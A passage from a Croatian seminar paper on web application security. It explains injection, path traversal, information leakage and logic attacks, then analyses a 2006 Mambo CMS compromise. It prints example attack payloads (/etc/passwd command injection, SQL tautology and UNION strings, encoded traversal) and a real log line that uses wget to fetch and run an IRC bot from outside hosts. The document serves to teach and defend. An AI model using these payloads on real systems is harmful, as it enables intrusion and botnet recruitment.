slijepe napade koji su rijetko uspjeni. Buffer overflow ranjivosti se najee javljaju u CGI aplikacijama pisanim u C ili C++ programskom jeziku.

5.2. Format string napadi


Format string napadi mijenjaju programski tok aplikacije koristei razliite oblike formatirajuih naredbi kako bi dobili pristup odreenom memorijskom prostoru. Format string ranjivosti najee nastaju zbog lijenosti samih programera koji prilikom pisanja izvornog koda aplikacije ne koriste ispravne oblike formatirajuih naredbi. Primjer jednog programerskog propusta je koritenje formata naredbe printf(string) umjesto printf(%s, string). U ovom primjeru programer je prvom naredbom mislio jednostavno ispisati odreeni znakovni niz string, a pritom nije razmiljao o nainu na koji e se taj znakovni niz interpretirati. Naime, niz e se interpretirati kao formatirajui znakovni niz, odnosno pretraivati e se posebni formatirajui znakovi poput %d pomou kojih se moe dobiti informacija o vrijednostima stoga programa. U biti, programer ovim propustom omoguava napadau pogled u memoriju na temelju kojih napada dobiva dovoljno informacija za dodatne napade. Analogno ovom primjeru, napada moe direktno unositi formatirane nizove koji sadre specijalne znakove za odreene C/C++ funkcije (npr. fprintf, printf, sprintf, syslog, ...). Format string napadi se koriste za:

itanje podataka sa stoga, pri emu napada koristi konverzijski znak %x unutar printf naredbe te kao rezultat dobiva vrijednosti stoga.

12

5.Napadi vezani uz izvravanje naredbi

itanje znakovnih nizova. Ukoliko se rezultat printf naredbe vrati napadau, tada on koristei konverzijski znak %s moe itati znakovne nizove iz memorije. Pisanje cjelobrojnih konstanti u procesnu memoriju. Ukoliko napada koristi %n konverzijski znak, tada napada moe upisati cjelobrojnu konstantu na bilo koju lokaciju u memoriji. Primjerice, moe izmijeniti kontrolne zastavice unutar programa kako bi promijenio tok izvoenja programa.

5.3. OS commanding
Os commanding je napadaka tehnika koja ugroava Web aplikaciju izvravanjem naredbi operacijskog sustava kroz manipulaciju aplikacijskih ulaznih podataka. Kada Web aplikacija nedovoljno provjeri, odnosno kada ne sanira korisniki unesene podatke prije koritenja unutar svog programskog koda, tada postoji mogunost prevare aplikacije kako bi se izvrile odreene naredbe operacijskog sustava. Pri emu se izvrene naredbe pokreu s dozvolama komponenti koje su pokrenule njeno izvoene (npr. posluitelj baze podataka, Web posluitelj). Primjer je Web aplikacija kojoj napada putem URL-a proslijedi sljedei podatak: http://primjer/temp.php?dir=%3Bcat%20/etc/passwd. Zbog propusta aplikacije da sanira vrijednost varijable dir, napada e ovom naredbom doi do sadraja /etc/passwd datoteke koja sadri povjerljive podatke.Koristei ovu napadaku tehniku, napada ak moe koristei TFTP protokol ubaciti svoje alate i pritom u potpunosti preuzeti kontrolu nad sustavom.

5.4. SQL injection


SQL injection je napadaka tehnika koja se koristi kako bi se ugrozila sigurnost Web aplikacije koja konstruira SQL izjave iz korisniki unesenih podataka. Structured Query Language (SQL) je specijalizirani programski jezik koji se koristi za rukovanje bazama podataka putem izjava i upita. SQL je ANSI i ISO standard, stoga je u dananje vrijeme najraireniji jezik za rukovanje bazama podataka koji koristi veina dananjih Web aplikacija. Web aplikacije mogu koristiti korisniki unesene podatke kako bi stvorile posebne SQL izjave za rad s dinamiki generiranim Web stranicama. Kada Web aplikacije ne uspiju pravilno sanirati korisniki unesene podatke, tada postoji mogunost da napada izmjeni konstrukciju pozadinske SQL izjave. Ako napada uspije izmijeniti SQL izjavu, proces e se pokrenuti s dozvolama komponente koja je pokrenula naredbu (npr. posluitelj baze podataka, Web posluitelj). Posljedica ove napadake tehnike je preuzimanje kontrole nad bazom podataka i ak izvravanje naredbi nad sustavom. Primjer je Web aplikacija za autentifikaciju koja sadri sljedei kod za konstrukciju SQL izjava:
String SQLQuery = SELECT Username FROM Users WHERE Username = + username + AND Password = + password + ;

U ovom kodu, programer uzima korisniki unesene podatke iz autentifikacijskog obrasca i direktno ih ubacuje u SQL izjavu (putem varijabli username i password). Pretpostavimo sada da napada u autentifikacijski obrazac za korisniko ime i lozinku upie sljedee:
Korisniko ime: ' OR ''=' Lozinka: ' OR ''='

Tada e rezultirajua SQL izjava izgledati ovako:

13

sigurnost_web_aplikacija_v1
SELECT Username FROM Users WHERE Username = '' OR''='' AND Password = '' OR ''=''

Vidljivo je, da e se umjesto usporeivanja korisniki unesenih podataka s podacima unutar korisnike tablice (Users), usporeivati ' '(prazan niz) s ' ' (prazan niz). Stoga e rezultat ove SQL izjave uvijek biti istinit i napada e se uspjeti ulogirati u sustav kao prvi korisnih u korisnikoj ( Users) tablici. Najee, najefektivnija metoda za lociranje SQL injection ranjivosti je runo pretraivanje prouavanje razliitih aplikacijskih ulaznih podataka i ubacivanje posebnih znakova. Kako se pri radu se bazama najee dobije povratna informacija u obliku stranice s porukom o pogreci, potencijalni napada moe priblino odrediti sintaksu SQL izjava nad odreenom bazom podataka i izvesti SQL injection napad. Stoga, pri razvoju Web aplikacije posebnu pozornost treba obratiti na detaljnost stranica s porukom o greki kako se ne bi otkrile suvine informacije kao u sljedeem primjeru (slika 5.1):

Slika 5.1. Prikazivanje suvinih informacija pri izvoenju SQL injection napada

Iz slike 5.1 je vidljivo da su u stranici s grekom ispisane dodatne informacije o bazi podataka : vrsta posluitelja baze podataka , vrsta pogreke te ak linija koda u kojoj se pogreka dogodila. Na ovaj nain se napadau malo pomalo otkriva struktura same baze podataka. Openito, postoje dvije vrste SQL injection napada: slijepi i normalni SQL injection. Slijepi SQL injection napad smo ve spomenuli u prijanjem odlomku kad smo spominjali runo pretraivanje. Dakle, prilikom slijepog SQL injection napada, umjesto vraanja jednostavne i ture poruke o pogreci, posluitelj vrati detaljan opis o pogreci te tako pomogne napadau. Na temelju te poruke pokuava realizirati SQL injection napad postavljajui istinitu i lanu izjavu kao vrijednost odreenog parametra. Primjer: http://example/article.asp?ID=2+and+1=1 istinita izjava
http://example/article.asp?ID=2+and+1=0 lana izjava
14

5.Napadi vezani uz izvravanje naredbi Normalni SQL injection napad koristi union select izjavu kao vrijednost parametra kako bi napada utvrdio da li moe pristupiti bazi podataka. Primjer:
http://example/article.asp?ID=2+union+all+select+name+from+sysobjects

Uspjeh ovog napada ovisi o broju stupaca u traenoj tablici, pa je na napadau da odredi ispravan broj stupaca (atributa). Ako to uspije odrediti, dobit e uvid u bazu podataka.

5.5. LDAP i XPath injection


LDAP i XPath injection napadi su po smislu i nainu izvedbe identini SQL injection napadima. I dalje je kritino saniranje korisniki unesenih podataka koji se komponiraju u LDAP i XPath izjave. Stoga emo u ovom poglavlju samo opisati svrhu LDAP-a i XPath-a. Lightweight Directory Access Protocol (LDAP) je otvoreni standard za postavljanje upita i manipulaciju X.500 direktorijima (mapama). LDAP se temelji na TCP-u, a Web aplikacije iz korisniki unesenim podataka kreiraju LDAP izjave za rad s dinamikim Web stranicama. XPath je jezik koji se koristi kako bi se referencirali odreeni dijelovi XML dokument. Moe se koristiti direktno od strane Web aplikacije kako bi se postavili upiti na da XML dokumentom. Xpath izjave su po strukuri vrlo sline SQL izjavama, te omoguavaju izdvajanje pojedinih elemenata i atributa iz XML dokumenta.

15

6. Otkrivanje povjerljivih informacija


Otkrivanjem povjerljivih informacija, potencijalni napada namjerava dobiti odreene sistemske informacije o Web aplikaciji. Sistemske informacije ukljuuju distribuciju programske podrke, verziju ili razine zakrpa. Takoer, informacije mogu sadravati lokacije privremenih (temp) ili backup datoteka. Mnotvo dananjih Web aplikacija otkriva odreenu koliinu podataka, ali je najbolje sakriti to veu koliinu podataka kako bi se smanjili rizici napada i poveala sigurnost sustava. to vie informacija o Web aplikaciji napada sazna, to je vea vjerojatnost da cijeli sustav bude kompromitiran.

6.1. Rasipanje informacija


Rasipanje informacija je sigurnosni propust kojima Web aplikacije otkrivaju osjetljive podatke kao to su programerski komentari i detaljne poruke o pogrekama, koje mogu pomoi napadau u kompromitiranju sustava. Osjetljivi podaci se najee mogu nai unutar HTML komentara, poruka o greci, izvornom kodu ili jednostavno mogu biti javno dostupni korisnicima. Iako rasipanje informacije ne predstavlja znaajnu povredu sigurnosti, ona slui napadau kao vodilja pri konstrukciji napada. Stoga rasipanje informacija predstavlja rizik koji treba ograniiti to je vie mogue. Komentari u kodu i detaljne poruke o greci predstavljaju rasipanje informacija kojima se mogu napadau dati informacije o strukturi mapa (direktorija), strukturi SQL izjava i imena kljunih procesa koritenih od strane Web aplikacije. Programeri najee ostavljaju komentare unutar HTML dokumenta ili skriptnog jezika kako bi si olakali prilikom debugging-a i integracije sustava. Ove informacije mogu varirati od jednostavnih detalja kako odreena skripta radi, a u najgorem sluaju, mogu ak otkriti korisnika imena i lozinke unutar testne faze razvoja Web aplikacije. Pod rasipanje informacija se takoer podrazumijevaju tajni podaci koji nisu adekvatno zatieni od strane Web aplikacije. Ovi podaci su razliiti brojevi rauna ili osobni korisniki podaci (JMBG, broj X-ice itd.). Kako bi se sprijeilo rasipanje informacija, sve bitne podatke je potrebno dodatno zatiti, pa ak sakriti od pogleda samog korisnika-vlasnika te povjerljive informacije. Broj kreditne kartice je primjer osobnog korisnikog podatka koji je potrebno dodatno zatititi od rasipanja primjenom enkripcije i dodatne kontrole pristupa. Jedan od primjera je sljedei odsjeak HTML koda:
<P> <!--Ako slika primjer.jpg ne postoji, resetiraj Faramira --> <a href=www.fer.hr><img src=primjer.jpg /></ a> </P>

Iz ovog primjera je vidljivo rasipanje informacija kroz nepotrebni programerski komentar. Naime, programer je unutar komentara naveo ime Web posluitelja i na taj nain opskrbio napadaa dodatnom informacijom koja moe posluiti za napad prema samom Web posluitelju.

6.2. Izlistavanje mapa (engl. Directory indexing)


Automatsko izlistavanje mapa (direktorija) je funkcija Web posluitelja koja izlistava sve datoteke unutar traene mape ukoliko ne postoji osnovna datoteka (index.html,home.html, default.htm). Izlistavanje mapa predstavlja poseban sluaj rasipanja informacija. Ako korisnik zahtjeva glavnu stranicu Web aplikacije, tada e najee utipkati URL poput : http://www.primjer koristei odreeno ime domene. Web posluitelj e procesirati njegov zahtjev i pretraiti da li u osnovnom (root) direktoriju postoji osnovna datoteka koju e poslati
16

6.Otkrivanje povjerljivih informacija korisniku. Ukoliko ova datoteka ne postoji, posluitelj e izlistavanjem mape korisniku poslati cjeloviti ispis direktorija. Ova funkcija je ekvivalentna s ls (Unix) ili dir (Windows) naredbe unutar odreenog direktorija. Kada Web posluitelj otkrije sadraj direktorija, postoji mogunost da e se unutar direktorija pojaviti datoteke koje nisu namijenjene javnosti. Stoga, Web administratori esto koriste strategiju Sigurnost kroz zamraivanje (engl Security through Obscurity), pri emu pretpostavljaju da ukoliko ne postoje linkovi prema odreenim datotekama, da se tim datotekama ne moe pristupiti. Naravno, ta pretpostavka je netona. Danas postoje razliiti pretraivai ranjivosti koji mogu dinamiki pretraivati direktorije i datoteke unutar odreene Web aplikacije provodei ispitivanje nad Web posluiteljem. Gledano iz perspektive sigurnosti, nepotrebno izlistavanje direktorija omoguava potencijalnom napadau potrebne informacije za izvoenje napada na sustav. Stoga, izlistavanje mapa se koristi samo kad ne postoji druga mogunost prikaza odreenih sadraja ili kad ne postoji rizik od napada.

6.3. Otkrivanje preaca


Otkrivanje preaca je napadaka tehnika iji je cilj pristupiti datotekama, mapama i naredbama koje su inae izvan osnovnog direktorija Web aplikacije. Napada ovom tehnikom pokuava podesiti URL na takav nain da e Web aplikacija izvriti ili otkriti sadraj odreenih datoteka koje su razmjetene po cijelom Web posluitelju. Ovo se uglavnom odnosi na sustave koje imaju HTTP suelje prema korisniku. Veina Web aplikacija ograniavaju korisnicima pristup samo odreenim dijelovima datotenog sustava, koji se obino naziva web root mapa ili osnovna mapa Web aplikacije. Ova mapa uglavnom sadri datoteke koju su namijenjene korisnicima i izvrne datoteke koje su potrebne za funkcionalnost same Web aplikacije. Ali koritenjem specijalnih nizova znakova, mogu je i pristup ostalim datotekama ili naredbama bilo gdje unutar datotenog sustava. Drugim rijeima, postoji niz specijalnih znakova pomou kojih se moe stvoriti preac. Najosnovniji napad otkrivanja preaca koristi ../ specijalni niz znakova kako bi izmijenio lokaciju odreenog resursa unutar URL-a. Iako veina dananjih Web posluitelja e otkriti ovu metodu bijega iz osnovnog direktorija Web aplikacije, i dalje postoje sofisticiranije metode koje napadai koriste kako bi izbjegli sigurnosne filtere. Te metode variraju od Unicode-encoding-a gdje se umjesto ../ znakova koriste ..%u2216 , URL-encoding-a (%2e%2e%2f) i dvostrukog URLencoding-a (..%255c). Unato prevenciji preaca koja je moe osigurati funkcijama Web posluitelja, Web aplikacije i dalje mogu biti ranjive na ovu vrstu napada. Napad je uglavnom prema usmjeren Web aplikacijama koje loe rukuju ulaznim korisnikim podacima. U ovoj varijanti napada, za vrijednost izvornog URL parametra, napada postavi ime odreene datoteke u kojoj je sadrana aplikacijska skripta. Poto e se ta datoteka interpretirati kao tekstualna datoteka, rezultat ovog napada e biti otkrivanje izvornog koda datoteke. Primjer 1.: Otkrivanje preaca na Web posluitelju.
http://primjer/../../../../../temp/dat http://primjer/..%255c..%255c..%255ctemp/dat http://primjer/..%u2216..%u2216temp/dat

U ovom primjeru su prikazane tri vrste napada. Prvi je osnovni, koristei ../ specijalni niz znakova. Drugi i trei koriste encodinge, dvostruki URL-encoding i Unicode-encoding. Primjer 2.: Otkrivanje preaca na Web aplikaciji.
17

sigurnost_web_aplikacija_v1 Izvorni link: http://primjer/temp.cgi?home=index.htm Napad: http://primjer/temp.cgi?home=temp.cgi U gornjem primjeru, Web aplikacija e otkriti izvorni kod temp.cgi datoteke jer se home varijabla koristi za prikaz sadraja u obliku HTML dokumenta.

6.4. Predvianje lokacije resursa


Predvianje lokacije resursa je napadaka tehnika koja se koristi kako bi se otkrili skriveni sadraji ili funkcionalnosti Web aplikacije. Tehnika se uglavnom svodi na Brute force pretraivanje sadraja koji nije namijenjen za javno prikazivanje. Najee mete su privremene (temp), backup, konfiguracijske ili obine datoteke. Datoteke mogu sadravati bitne informacije o programskoj strukturi Web aplikacije, informacije o bazi podataka, lozinke, imena raunala ili ak popis ranjivosti (buggova). Ova metoda zna biti vrlo uspjena iz razloga to skrivene datoteke esto imaju posebne konvencije za nazive i nalaze se na standardnim lokacijama. Napadai najee izrauju zahtjeve za odreenim datoteka i mapama, te zahtjev alju nekom javnom Web posluitelju. Postojanje pojedinih resursa se moe utvrditi analizirajui HTTP statusne kodove dobivene kao odgovor od Web posluitelja. Primjer su sljedee varijacije pretraivanja:

Slijepo pretraivanje odreenih datoteka i direktorija:


/admin/ /backup/ /logs/ /primjer.cgi

Dodavanja ekstenzija ve postojeim datotekama, npr. test:


/test.asp /test.bak /test.tmp

18

7. Logiki napadi
Logiki napadi su napadake tehnike namijenjene naruavanju ili zloupotrebi logikog toka Web aplikacije. Pod logikim tokom ili aplikacijskom logikom se podrazumijeva proceduralni tok koji se koristi u Web aplikaciji kako bi se izvela odreena radnja. Postoje razni primjere aplikacijske logike, a najpoznatiji su: proces za obnovu lozinke, registracija rauna ili on-line kupovina. Web aplikacija zahtijeva od korisnika da tono i precizno izvodi odreeni proces u koracima kako bi zavrio pojedinu radnju. S druge strane, napadaeva namjera je zaobii ili zlouporabiti ovaj proces kako bi natetio Web aplikaciji i njenim korisnicima.

7.1. Zloupotreba funkcionalnosti


Zloupotreba funkcionalnosti je napadaka tehnika koja se koristi resursima i funkcionalnou Web aplikacije kako bi se iskoristio, prevario ili promijenio njen kontrolni mehanizam. Neke funkcionalnosti Web aplikacije, pa ak i sigurnosne mjere je mogue naruiti i tako izazvati neoekivano ponaanje Web aplikacije. Ukoliko postoji i najmanja mogunost naruavanja, napada moe ugroziti drugog korisnika ili prevariti cijeli sustav. Razina naruavanja ovisi od aplikacije do aplikacije. Ova vrsta napada se najee ispreplie s ostalim vrstama napada. Na primjer, napada koristi Crosssite scripting napad kako bi ubacio tetnu skriptu u Web-chat aplikaciju i tada koristi ugraene funkcije za propagiranje zloudnog koda prema drugim aplikacijama. Upravo se taj nain propagiranja esto koristi, pa moemo rei da se zloupotreba funkcionalnosti koristi i kao multipliciranje napada (engl force multiplier). Evo jo nekoliko primjera:

Koritenje trailice kako bi se pristupilo zatienim datotekama izvan osnovne mape Iskoritavanje datotenog upload sustava zamjenu kritinih konfiguracijskih datoteka Izvoenje DoS napada nad sustavom prijave korisnika koristei ispravna korisnika imena i loe lozinke kako bi se blokirao pristup odreenim korisnicima (nakon odreenom broja pokuaja Web aplikacija onemogui pristup).

Openito, svi efektivni napadi prema aplikacijama dodiruju podruje ugroavanja i zloupotrebe funkcionalnosti. Specijalno u naem sluaju, opisuju se napadi koji rue Web aplikacije s malo ili bez ikakvi izmjena izvornih aplikacijskih funkcija. Jedan od zanimljivijih primjera zloupotrebe funkcionalnosti je zabiljeen kod Smarwin CyberOffice Web aplikacije koja koristi kolica za kupnju (engl Shopping cart) kako bi korisnicima omoguila kupovinu odreenih artikala. Naime, napada je na neoekivani nain mogao izmijeniti ponaanje Web aplikacije mijenjajui vrijednost skrivenog polja unutar forme koju koristi Web aplikacija. Forma bi se normalno skinula, izmijenila i ponovno poslala aplikaciji sa cijenama postavljenima prema napadaevim eljama.

7.2. DoS napadi


Denial of Service (Dos) napadi su napadake tehnike ija je namjera onemoguiti normalni rad Web aplikacije ili korisniki pristup Web aplikaciji. Uspjenost ovih napada ovisi o troenju vitalnih resursa sustava, pronalasku i koritenju ranjivosti ili zlouporabi funkcionalnosti. est sluaj je troenje sistemskih resursa; kada se dosegne maksimalno koritenje odreenog resursa (CPU, memorija, disk, mreno suelje) tada se onemoguava pristup i rad Web aplikacije. U ovom sluaju govorimo o DoS napadu na mrenom sloju koji koristi veliki broj mrenih veza sa potapanje sustava.
19

sigurnost_web_aplikacija_v1 Veina dananjih Web aplikacija se bazira na okruenju koje koristi Web posluitelj, posluitelj baze podataka i autentifikacijski posluitelj. Posebna panja se posveuje DoS napadima na aplikacijskom sloju koji su usmjereni prema gore navedenim neovisnim komponentama. Razlog tomu je, to ih je puno lake izvesti nego one na mrenom sloju. Primjeri:

DoS napad usmjeren prema korisniku. Napada e se uestalo pokuavati ulogirati na Web aplikaciju kao odreeni korisnik, namjerno koristei krivu lozinku. Konano, aplikacijski autentifikacijski proces e zakljuati pristup korisniku. DoS napad prema posluitelju baze podataka. Napada uz pomo SQL injection napada modificira bazu podataka na nain da sustav postane nestabilan (npr. obrie sve podatke). DoS napad prema Web posluitelju. Napada koristi Buffer Overflow napad kako bi sruio procese Web posluitelja i kako se sustavu ne bi moglo pristupiti odreeno vrijeme.

7.3. Napadi automatiziranim procesima


Napadi automatiziranim procesima nastupaju kada Web aplikacija omoguava napadau izvoenje automatiziranog procesa koji bi inae po svojoj prirodi trebao biti runo izveden od strane korisnika. Stoga, odreene funkcije Web aplikacije bi trebale biti zatiene od automatiziranih napada. Ukoliko se ne vri provjera, automatizirani programiroboti ili napadai mogu uzastopno ispitivati funkcionalnost Web aplikacije kako bi naruili ili prevarili sustav. Automatizirani roboti mogu biti podeeni za slanje na tisue zahtjeva u minuti izazivajui potencijalni gubitak performansi ili onemoguavanje usluge. Preventivno, treba onemoguiti robota da prijavi tisuu korisnikih rauna unutar par minuta ili da poalje tisuu poruka na forum. Ovi procesi se moraju ograniiti samo za ljudsku upotrebu.

7.4. Naruavanje kontrole procesa


Naruavanje kontrole procesa nastupa kada Web aplikacija dopusti napadau zaobilaenje ili promjenu obiajnog kontrolnog toka aplikacije. Ova vrsta napada je esta ukoliko se korisniki status (stanje) ne provjerava unutar odreenih aplikacijskih procesa. Kada korisnik koristi odreene usluge (funkcije) Web aplikacije, tada se od Web aplikacije oekuje da korisnika provede kroz odreenu sekvencu dogaaja. Ukoliko unutar sekvence dogaaja, korisnik neispravno izvri neki dogaaj ili izvan obiajnog redoslijeda, tada dolazi do povrede integriteta podataka. Primjeri sekvenci dogaaja su ve spomenuti procesi u vie koraka: obnova lozinke, otvaranje korisnikog rauna, on-line kupovina, itd. Da bi ovi procesi ispravno funkcionirali, Web aplikacija mora pratiti stanje korisnika dok korisnik vri radnje unutar njenog toka procesa. Praenje se najee vri koritenjem Cookie-a ili skrivenih HTML polja. Ukoliko se praenje vri na klijentskoj strani unutar Web preglednika, tada je potrebno dodatno provjeravati integritet podataka. Ukoliko nema provjere, postoji mogunost zaobilaenja kontrolnog tijeka dogaaja promjenom trenutnog korisnikog stanja. Primjer: On-line Web aplikacija za prodaju (engl. shopping cart). Svaki korisnik koji kupi proizvod A e dobiti popust, dok za proizvod B nema popusta. Korisnikova elja je da dobije popust za proizvod B. Kontrola procesa e se naruiti na sljedei nain:

20

7.Logiki napadi 1. 2. 3. 4. Korisnik eli kupiti proizvod B s popustom, te u kolica ubacuje proizvode A i B u koaricu. Korisnik ulazi u proces provjere gdje mu se registrira popust. Korisnik se vraa natrag iz procesa provjere, izbacuje proizvod A iz koarice. Korisnik ponovno ulazi u proces provjere, pritom zadravajui popust ostvaren u prijanjem procesu provjere (sa proizvodom A u koarici) i prevarom postie niu cijenu proizvoda B.

21

8. Praktini rad
Cilj praktinog rada je analizirati napad koji se dogodio na OSL Web posluitelju 2006. godine, pri emu je napadnuta Mambo 4.5x (content manager) Web aplikacija. Poetna faza ovog napada je lociranje sustava, odnosno Web posluitelja koji koristi Mambo. To se postie traenjem odgovarajuih URL-ova karakteristinih za domene s Mambom:
"%22option=com_content%22+site%3A".$domena."%20" "inurl:%22".$domena."/index.php?option=com_content%22" "%22by+mambo%22+site%3A".$domena."%20"

Nakon to napada otkrije domenu s Mambom, pomou automatiziranih programa upuuje specijalno skrojene zahtjeve prema Web posluitelju, pri emu rauna na jednu ranjivost Mamba 4.5x. Pregledavajui zapise o zahtjevima (logs) OSL Web posluitelja otkriveni su neobini zahtjevi sljedeeg sadraja, npr:
217.160.143.44 - - [05/Mar/2006:08:38:53 +0100] "GET /index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosCo nfig_absolute_path=http://elatha.magicshells.com/~hex/cuti/tool.gif?&cmd= cd%20/tmp/;WGET%20http://equal.home.ro/mamb0x.txt;perl%20mamb0x.txt;rm%20 -rf%20mamb0x.txt*? HTTP/1.0" 200 540

Openito, zahtjev ima sljedei sadraj:


"/index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosC onfig_absolute_path=$comandset?";

Iz zahtjeva je vidljivo da se sadraj varijable GLOBALS=&mosConfig_absolute_path koristi za izvravanje naredbi (comandset). Specijalno, u gornjem sluaju: poziva se odreeni URL, ulazi se u direktorij /tmp/, s vanjskog izvora se u /tmp/ direktorij ubacuje (koristei wget) datoteka mamb0x.txt, koristei Perl se izvrava datoteka mamb0x.txt, te se datoteka mamb0x.txt brie kako bi se prikrili tragovi napada. Takoer, iz HTTP statusa zahtjeva se vidi da je zahtjev korektan, odnosno da e ga Web posluitelj procesirati. Daljnjom analizom i potragom za slinim sluajevima (na www.secunia.com), potvrena je tvrdnja da sadraj varijable GLOBALS= &mosConfig_absolute_path nije pravilno verificiran za verziju Mambo-a 4.52. Koristei ovu ranjivost, napada moe ubaciti datoteke iz vanjskog izvora u sustav Web posluitelja i izvravati naredbe nad tim istim sustavom. Prema tome, koristi se OS commanding napadaka tehnika. Postavlja se pitanje : Zato bi napada ubacivao odreenu datoteku u sustav, izvravao je i zatim brisao?. Kada se pogleda sadraj skripti koje su ubaene u /tmp/ direktorij, ustanovit e se da se radi o IRC botovima. IRC botovi su automatizirani procesi koji koriste IRC protokol za odreene radnje. Nakon to se ubace u sustav i pone njihovo izvravanje, IRC botovi se spajaju na odreeni IRC kanal. Kanal je najee zatien lozinkom koju posjeduje napada - zombie master. Kada se napada ulogira na taj kanal, koristi botove za realizaciju DDoS napada ( distributed DoS). DDoS napad nastupa kada vie kompromitiranih sustava ugroavaju (flood) resurse nekog drugog sustava, najee Web posluitelja. Kompromitirani sustavi se nazivaju bot mreama, a tehnike DDoS napada variraju od UDP flooding-a, SYN flooding-a i PUSH/SYN flooding-a. Prema tome, pomou OS commanding napadake tehnike, u OSL Web posluitelju se stvorila bot mrea koja nije direktno ugroavala sustav samog posluitelja, ve je ekala napadaevu naredbu da izvri DDoS napad prema odreenom sustavu. Botovi su se spajali na IRC kanal banjaluka22

8.Praktini rad crew.be:6667 (vlasnici Limp-Biskit i Aljosha), odnosno 80.87.131.133:8350 (vlasnici alboz, albo, albozz ). A koristei sljedei Perl program, izdvojili smo iz zapisa o zahtjevima (logovima) sve IP adrese koje su koritene za napad:
use MIME::Base64; my %attackers = (); my %provala = (); sub URLdecode { my $theURL = $_[0]; $theURL =~ tr/+/ /; $theURL =~ s/%([a-fA-F0-9]{2,2})/chr(hex($1))/eg; $theURL =~ s/<!--(.|\n)*-->//g; return $theURL; } while (<>) { if (/^(\S+) - - .+ "GET \/index\.php\?_REQUEST\[option\]=com_content\&_REQUEST\[Itemid\]=1 \&GLOBALS=\&mosConfig_absolute_path=(.+)\?&cmd=(.+)\?/) { $attackers{$1} = 1; $address{URLdecode($2)} = 1; $commandset{URLdecode($3)} = 1; } } print "Attackers IPs:\n"; for $record (sort keys %attackers) { print $record, "\n"; } print "\n";

Kao rezultat analize logova, dobili smo stotinjak IP adresa s kojih je izveden napad to je dovoljno za upuivanje prijave centru za prevenciju i otklanjanje problema vezanih uz sigurnost raunalnih mrea (CCERT-u), kako bi se u budunosti sprijeili slini napadi. Nadalje, kako bi osigurali OSL Web posluitelj i poveali razinu sigurnosti razmatrali smo dva naina zatite. Prvi je instalacija Mambo sigurnosne zakrpe za verziju 4.5.2 i update verzije na 4.5.2.1 koja se moe nai na Mambo-voj slubenoj stranici. Druga je dodavanje dodatnih modula za Apache Web posluitelj. Sigurnosni modul za Apache se zove mod-security i relativno se jednostavno konfigurira. Ovim modulom, koristei regularne izraze, mogu se filtrirati zahtjevi i na taj nain omoguiti dodatnu verifikaciju GLOBALS=&mosConfig_absolute_path varijable.

23

9. Zakljuak
Sigurnost Web aplikacija u dananje vrijeme u velikoj mjeri ovisi o dizajnu same aplikacije. Stoga, velika odgovornost je na programerima koji uz pisanje koda aplikacije moraju dodatnu panju obratiti i na sigurnost. Tri glavna razloga zato programeri piu ranjive Web aplikacije su:

Mnoge Web aplikacije jednostavno nisu dizajnirane da se odupru neprijateljskom okruenju. Sigurnost u ovom sluaju nije prioritet za aplikacijskog programera; programer veinu svoje energije posveuje sadraju i unapreivanju pouzdanosti aplikacije. Mnogi programeri Web aplikacija nisu educirani za pisanje sigurnog koda. Razlog tomu je praenje, odnosno zaostajanje programera za najnovijim operacijskih sustavima i razvojnim okruenjima. Izuavanje mrene sigurnosti moe biti naporan posao koji iziskuje znatno vrijeme potrebno za dodatne analize napada i smiljanje njihove prevencije. Aplikacijski programeri su ljudi, a ljudi ine pogreke. ak i programeri kojima je sigurnost Web aplikacija prioritet, ponekad zaborave oprezno parsirati korisniki unesene podatke ili pohrane tajnu informaciju na mjesto gdje ta informacija moe biti kompromirirana.

Svaka Web aplikacija moe imati sigurnosni propust koji je rezultat najobinijih programerskih greaka, te iz dana u dan se otkrivaju nove vrste napada. U sklopu ovog seminarskog rada smo ve opisali veinu sigurnosnih propusta i napada. Potrebno je jo jednom navesti glavne predstavnike iz odreenih klasa napada i nain njihove prevencije:

Iz klasa napada vezanih uz autentifikaciju, glavni predstavnik je Brute force napad ija je namjera, uestalim ponavljanjem doi do korisnike lozinke i tako kompromitirati proces autentifikacije. Stoga, programeri aplikacija moraju voditi rauna o dodatnim zatitama korisnikih lozinki kako bi se zatitile od otkrivanja i nagaanja lozinke od strane napadaa. Iz klasa napada vezanih uz autorizaciju, naglasak je napadakim radnjama koje ugroavaju Cookie, tj. nagaanje, kontrolu trajanja usluge i fiksaciju usluge. Ovaj problem se pokuava rijeiti s dodatnim policama sigurnosti kao to je polica WWW Consortium-a (W3C), Platform for Privacy Preferences (P3P) . P3P koristi XML datoteku kako bi opirno opisivao nain na koji Web aplikacija rukuje privatnim korisnikim podacima tijekom i poslije koritenje usluge. Iz klase napada na korisniku stranu, glavni predstavnik je Cross site scripting napad koji omoguava izvravanja tetnog napadakog koda u korisnikom Web pregledniku. Poto Web aplikacija prosljeuje ovaj kod prema korisniku, dodatna odgovornost je na programerima i administratorima Web aplikacije pri filtriranju zahtjeva i traenju skrivenih skripti. Iz klase napada vezanih uz izvravanje naredbi, glavni predstavnici su Buffer overflow i SQL injection napad. Buffer overflow napadom, napada pokuava destabilizirati Web aplikaciju ugroavanjem memorije, dok SQL injection napadom eli preuzeti kontrolu nad bazom podataka koju koristi Web aplikacija. Obje vrste napada je mogue sprijeiti dodatnom validacijom korisniki unesenih podataka od strane Web aplikacije. Programeri pri pisanju aplikacija moraju paziti na posebne znakove i naredbe koji se interpretiraju od strane Web posluitelja, operacijskog sustava i baze podataka. Rasipanje vitalnih informacija mora biti sprijeeno u bilo kojem obliku. Administrator, koritenjem dodatnih razina zatite datoteka i direktorija, onemoguavanjem ispisa sadraja direktorija, onemoguavanjem preaca, mora stvoriti vrstu strukturu Web aplikacije koja e sprijeiti napadaa da doe do povjerljivih informacija. Iz klase logikih napada, glavni predstavnik je Denial of Service (DoS) napad. Dos napad rui sustav Web aplikacije onemoguavajui korisniku pristup. Kako je DoS napad najee
24

9.Zakljuak posljedica drugih napadakih tehnika, prevencija te odreene vrste napada spreava i DoS napad. Visoki razina sigurnosti Web aplikacije se takoer moe postii ispravnom strategijama pisanja Web aplikacije. Jedna od najpoznatijih strategija je SD3 strategija (engl. secure by design, secure by default, secure in deployment). Neke od osobine ove strategije su:

